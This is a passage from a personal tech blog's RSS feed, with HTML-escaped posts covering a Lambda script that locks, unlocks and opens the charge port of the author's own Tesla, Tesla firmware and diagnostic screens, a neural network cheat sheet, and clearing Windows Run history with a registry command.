&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;39&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#39&#34;&gt;39&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;40&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#40&#34;&gt;40&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;41&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#41&#34;&gt;41&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;42&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#42&#34;&gt;42&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;43&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#43&#34;&gt;43&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;44&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#44&#34;&gt;44&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;45&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#45&#34;&gt;45&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;46&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#46&#34;&gt;46&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;47&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#47&#34;&gt;47&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;48&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#48&#34;&gt;48&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;49&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#49&#34;&gt;49&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;50&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#50&#34;&gt;50&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;51&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#51&#34;&gt;51&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;52&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#52&#34;&gt;52&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;var&lt;/span&gt; tjs &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; require(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;teslajs&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;var&lt;/span&gt; username &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; process.env.TESLA_EMAIL;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;var&lt;/span&gt; password &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; process.env.TESLA_PASS;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; exports.handler &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; (event, context, callback) =&amp;gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  tjs.loginAsync(username, password).done(&lt;span style=&#34;color:#ed8796&#34;&gt;function&lt;/span&gt;(result) 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   &lt;span style=&#34;color:#ed8796&#34;&gt;var&lt;/span&gt; token &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; JSON.stringify(result.authToken);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; (token)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    console.log(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Login Succesful!&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   &lt;span style=&#34;color:#ed8796&#34;&gt;var&lt;/span&gt; options &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    authToken&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;:&lt;/span&gt; result.authToken
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   };
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   tjs.vehicleAsync(options).done(&lt;span style=&#34;color:#ed8796&#34;&gt;function&lt;/span&gt;(vehicle) 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    console.log(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Vehicle &amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+&lt;/span&gt; vehicle.vin &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34; is: &amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+&lt;/span&gt; vehicle.state);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ed8796&#34;&gt;var&lt;/span&gt; options &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     authToken&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;:&lt;/span&gt; result.authToken,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     vehicleID&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;:&lt;/span&gt; vehicle.id_s
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    };
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt;(event.clickType &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;SINGLE&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     console.log(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Single click, attempting to UNLOCK&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     tjs.doorUnlockAsync(options).done(&lt;span style=&#34;color:#ed8796&#34;&gt;function&lt;/span&gt;(unlockResult) 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      console.log(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Doors are now UNLOCKED&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     });
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt;(event.clickType &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;DOUBLE&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     console.log(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Double click, attempting to LOCK&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     tjs.doorLockAsync(options).done(&lt;span style=&#34;color:#ed8796&#34;&gt;function&lt;/span&gt;(lockResults) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      console.log(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Doors are now LOCKED&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     });              
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt;(event.clickType &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;LONG&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     console.log(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Long click, attempting to CHARGE PORT&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     tjs.openChargePortAsync(options).done(&lt;span style=&#34;color:#ed8796&#34;&gt;function&lt;/span&gt;(openResult) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      console.log(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Charge port is now OPEN&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     });              
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   });
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  });
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; };&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
</description>
    </item>
    
    <item>
      <title>Tesla .ssq file?</title>
      <link>/post/2018/09/tesla-ssq-file/</link>
      <pubDate>Fri, 14 Sep 2018 00:00:00 +0000</pubDate>
      
      <guid>/post/2018/09/tesla-ssq-file/</guid>
      <description>&lt;p&gt;Tonight, I was a large download by the car, and saw that it was a .ssq file. The file name is consistent with the firmware naming convention, but I am not sure on what it is. The file itself is 5.11 GB, and in my case its name starts with &amp;ldquo;NA&amp;rdquo;. I am guessing, this might be the maps its updating.&lt;/p&gt;
&lt;p&gt;Below are a couple of screenshots showing this. I am trying to make sense of the binary file, but not making much headway.&lt;/p&gt;
&lt;p&gt;Curious, anyone has any ideas?&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/Tesla-firmware-Capture.jpg&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/Tesla-firmware-Capture2.jpg&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; I found out what .ssq files are; &lt;a
	
		href = &#34;http://desigeek.com/blog/amit/2018/10/08/update-on-tesla-ssq-files/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		read up more here
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Neural Network - Cheat Sheet</title>
      <link>/post/2018/09/neural-network-cheat-sheet/</link>
      <pubDate>Tue, 11 Sep 2018 00:00:00 +0000</pubDate>
      
      <guid>/post/2018/09/neural-network-cheat-sheet/</guid>
      <description>&lt;p&gt;Neural Networks, today, help in a great set of tasks, that until very recently wasn&amp;rsquo;t possible at all - be it from computer vision, to medical diagnosis, to speech translation and forms a key cornerstone to a lot of &amp;lsquo;magic&amp;rsquo; that Machine Learning and AI offers today.&lt;/p&gt;
&lt;p&gt;I did blog about &lt;a
	
		href = &#34;http://desigeek.com/blog/amit/2017/03/16/neural-networks/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Neural Network types (and MarI/O) sometime back
	&lt;/span&gt;
&lt;/a&gt;; I surely cannot take credit for creating these three cheat sheets but they are awesome and hope you get to use and enjoy them too.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;https://i1.wp.com/desigeek.com/blog/amit/wp-content/uploads/2018/09/1_hdcEBE3zH8bRCj_gyIQC9Q1.png?fit=1600%2C2400&#34; alt=&#34;Neural Network Graphs&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;https://i1.wp.com/desigeek.com/blog/amit/wp-content/uploads/2018/09/1_ytq3WnAg5KywR97gudy5vg1.png?fit=1600%2C2262&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;https://i1.wp.com/desigeek.com/blog/amit/wp-content/uploads/2018/09/1_7XUd38YFCPAcgmlrS875XA1.png?fit=1600%2C2262&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Clearing out Windows 10 command prompt history</title>
      <link>/post/2018/09/clearing-out-windows-10-command-prompt-history/</link>
      <pubDate>Fri, 07 Sep 2018 00:00:00 +0000</pubDate>
      
      <guid>/post/2018/09/clearing-out-windows-10-command-prompt-history/</guid>
      <description>&lt;p&gt;My command prompt history is quite long, and a lot over time is not essentially garbage. I was looking at a way to clean it out. Most of the solutions online I found were not correct - I don&amp;rsquo;t know if things changed over time, but the latest version of Windows I am on (Windows 10 Pro 1803), it did not work.&lt;/p&gt;
&lt;p&gt;So, here are two ways that you can do this. One is using the registry editor (RegEdit), and the other is running a simple script that you can either copy and paste from below or you can &lt;a
	
		href = &#34;http://desigeek.com/blog/amit/download/script-to-clear-windows-run-history&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		download and run it
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;If you are going to be using RegEdit, and living dangerously then Press WinKey + R and type &amp;ldquo;regedit&amp;rdquo; (without quotes) and press enter to get the Registry Editor going as shown below.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/Capture-regedit-run.jpg&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;Run command to start Registry Editor&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;And on the new Windows navigate to the following key: &lt;strong&gt;HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU&lt;/strong&gt; and delete that. You can right click on the key name and choose delete.&lt;/p&gt;
&lt;p&gt;It is important to double check because if you miss it, or delete something else, there is no recovery. (Why do you think I was saying, you like to live dangerously). See the screenshot below.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/Capture-RegEdit.jpg&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;NOTE: It is always recommended to backup the registry before doing this, so at least you could restore it back to the state. To backup select File -&amp;gt; Export.&lt;/p&gt;
&lt;p&gt;A better way, and less dangerous would be to run the following script in a &lt;a
	
		href = &#34;https://www.howto-connect.com/access-elevated-command-prompt-on-windows-10/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		elevated command prompt
	&lt;/span&gt;
&lt;/a&gt; (i.e. a Admin command prompt) which will do the same thing, but more safer. You can just copy the command from below and paste it. Or alternatively you can &lt;a
	
		href = &#34;http://desigeek.com/blog/amit/download/script-to-clear-windows-run-history&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		download this simple script
	&lt;/span&gt;
&lt;/a&gt; and run it locally (also from a elevated command prompt).&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;1&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;reg delete &amp;#34;HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU&amp;#34; /f&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
</description>
    </item>
    
    <item>
      <title>Tesla debug/diagnostic screens</title>
      <link>/post/2018/09/tesla-debug-diagnostic-screens/</link>
      <pubDate>Thu, 06 Sep 2018 00:00:00 +0000</pubDate>
      
      <guid>/post/2018/09/tesla-debug-diagnostic-screens/</guid>
      <description>&lt;p&gt;I don&amp;rsquo;t know how to get to debug / dev mode on a Tesla, but did come across &lt;a
	
		href = &#34;https://plus.google.com/u/0/102621178199196500076/posts/HZtBTFikcgm&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		this old post
	&lt;/span&gt;
&lt;/a&gt;, on how someone was in a test drive, which did  have this mode.&lt;/p&gt;
&lt;p&gt;Now this is quite old, so a lot has changed, but am impressed that a lot of the components and foundational architecture was setup. I am particularly impressed how each cell in the battery pack and report its state. The BMS that you see is the Battery Management System - that firmware is separate from the car&amp;rsquo;s firmware.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/IMG_0876.jpg&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;Tesla diagnostic screen&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;You can see more photos and geek out &lt;a
	
		href = &#34;https://plus.google.com/u/0/photos/102621178199196500076/album/5776377343146944705&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		online here.
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;And of course if you really want to geek out, then check out &lt;a
	
		href = &#34;https://www.su-tesla.space/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		su-tesla
	&lt;/span&gt;
&lt;/a&gt;, where Hemera has really has &lt;a
	
		href = &#34;https://www.ibtimes.co.uk/how-play-movies-tesla-model-s-display-using-this-simple-hack-1556672&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		gone to party
	&lt;/span&gt;
&lt;/a&gt;. I don&amp;rsquo;t know how to do this, and I have a lot of respect for &lt;a
	
		href = &#34;https://twitter.com/su_hemera&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Hemera
	&lt;/span&gt;
&lt;/a&gt; to do this - she has a lot of guts. Also not sure what the wife would think about it and kick me out. Maybe. :)&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/tumbler.jpg&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;I am curious though, if those &amp;lsquo;custom&amp;rsquo; Ethernet connectors are &lt;a
	
		href = &#34;https://www.digikey.com/Web%20Export/Supplier%20Content/OmronIndustrialAutomation_236/PDF/OmronIA_M12Connector.pdf&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		M12 connectors (PDF)
	&lt;/span&gt;
&lt;/a&gt; which are quite standard in some industries. Even &lt;a
	
		href = &#34;https://www.amazon.com/m12-ethernet-cable/s?page=1&amp;amp;rh=i%3Aaps%2Ck%3Am12%20ethernet%20cable&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Amazon sells cables
	&lt;/span&gt;
&lt;/a&gt; for them.&lt;/p&gt;
&lt;p&gt;And finally, from a more (relatively) recent &lt;a
	
		href = &#34;https://electrek.co/2017/05/15/tesla-hack-autopilot-debugging-mode/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		update
	&lt;/span&gt;
&lt;/a&gt;, the AutoPilot has a tremendous amount of data. As reported here, and you can see on the video below, the volume of data is massive, and quite interesting. For example, what decides there are 4 virtual lanes? The car below is a US car (the country code 840 is a &lt;a
	
		href = &#34;https://en.wikipedia.org/wiki/ISO_3166-1_numeric&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		ISO 3166 code
	&lt;/span&gt;
&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;https://electrek.co/wp-content/uploads/sites/3/2017/05/ap-debug-8.jpg?quality=82&amp;amp;strip=all&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;div style=&#34;position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;&#34;&gt;
      &lt;iframe allow=&#34;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen&#34; loading=&#34;eager&#34; referrerpolicy=&#34;strict-origin-when-cross-origin&#34; src=&#34;https://www.youtube.com/embed/4vZe2dh5I6s?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0&#34; style=&#34;position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;&#34; title=&#34;YouTube video&#34;&gt;&lt;/iframe&gt;
    &lt;/div&gt;

</description>
    </item>
    
    <item>
      <title>Thought of the day</title>
      <link>/post/2018/09/thought-of-the-day-9/</link>
      <pubDate>Mon, 03 Sep 2018 00:00:00 +0000</pubDate>
      
      <guid>/post/2018/09/thought-of-the-day-9/</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;Beware of programmers that carry screwdrivers&lt;/p&gt;
&lt;p&gt;&lt;em&gt;- Unknown&lt;/em&gt;&lt;/p&gt;&lt;/blockquote&gt;
</description>
    </item>
    
    <item>
      <title>Tesla voice command list</title>
      <link>/post/2018/08/tesla-voice-command-list/</link>
      <pubDate>Fri, 31 Aug 2018 00:00:00 +0000</pubDate>
      
      <guid>/post/2018/08/tesla-voice-command-list/</guid>
